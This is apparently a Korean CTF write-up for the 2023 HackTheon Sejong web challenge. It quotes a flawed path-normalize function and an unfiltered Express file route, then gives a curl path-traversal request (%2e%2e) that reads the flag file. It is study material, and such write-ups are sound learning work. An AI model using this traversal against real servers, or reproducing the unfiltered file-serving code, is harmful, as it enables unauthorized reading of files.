• [2023 HackTheon Sejong Quals] Vulnerable web service

    2023. 6. 16.

    by. hackintoanetwork

    Prob


    이 문제는 두 개의 취약점을 통해 풀 수 있었습니다.

     

    첫번째 취약점

    const normalize = path => {
      const startSlash = path.charAt(0) === '/'
      const parts = path.split('/')
      let res = []
    
      for (let i=0; i < parts.length; i++) {
        if (!parts[i] || parts[i] === '.') continue
        if (parts[i] === '..') {
          if (res.length && res[res.length - 1] !== '..') res.pop()
        } else res.push(parts[i])
      }
    
      res = res.join('/')
    
      if (!res && !startSlash) {
        res = '.'
      }
      if (res && path[path.length - 1] === '/') {
        res += '/'
      }
    
      return (startSlash ? '/' : '') + res.replace('\\', '/') // here
    }

    위 ws.js 파일의 22번째 줄에서 '\\'을 입력하면 '/'로 변경되므로 '/' 필터링을 우회하고 FLAG 파일의 이름을 leak 할 수 있는 취약점.

     

     

    두번째 취약점

    router.get('/*', (req, res) => {
      if (req.params[0] === '') {
        res.render('index')
      } else {
        const path = './files/' + req.params[0]
        if (!fs.existsSync(path)) {
          res.status(403).send('<h1>403 Not Found.</h1>')
          return
        }
    
        if (fs.lstatSync(path).isDirectory()) {
          res.status(301).redirect('/')
          return
        }
        res.set('Content-Type', mime.lookup(path))
        res.sendFile(path, {root: '.'})
      }
    })
    
    module.exports = router

    위 route/index.js 파일의 5번째 줄에서 파일 경로를 필터링 없이 읽어와 ./files 외부 경로의 파일을 읽어 올 수 있는 취약점.

     

    두 취약점을 이용한다면 첫 번째의 취약점을 통해 FLAG 파일의 위치와 이름을 알아내고 두 번째 취약점을 통해서 해당 경로의 FLAG 파일을 읽어 올 수 있습니다.

     

     

     

    Exploit


    curl http://apb2020.cstec.kr:4423/%2e%2e/FLAG_9djlfj9u89dskdjllj92030

    따라서 위와 같이 curl을 통해 FLAG 파일을 읽어올 수 있습니다.

     

     

     

    FLAG


    HACKTHEON{3758b48648(생략)361312a7c56968afbe327885cd35a66e8c19b5ff493}
     

    핵테온 세종 2023, 명색이 국제해킹대회인데... 예선 이어 본선도 공정성 ‘논란’

    세종시가 주최한 국제 대학생 사이버보안 경진대회 ‘2023 HackTheon Sejong’(핵테온 세종 2023, 이하 핵테온)을 두고 참가자들 사이에서 논란이 확산되고 있다. 예선에서는 지난해 개최된 2022 사이버

    www.boannews.com

     

     

     

    댓글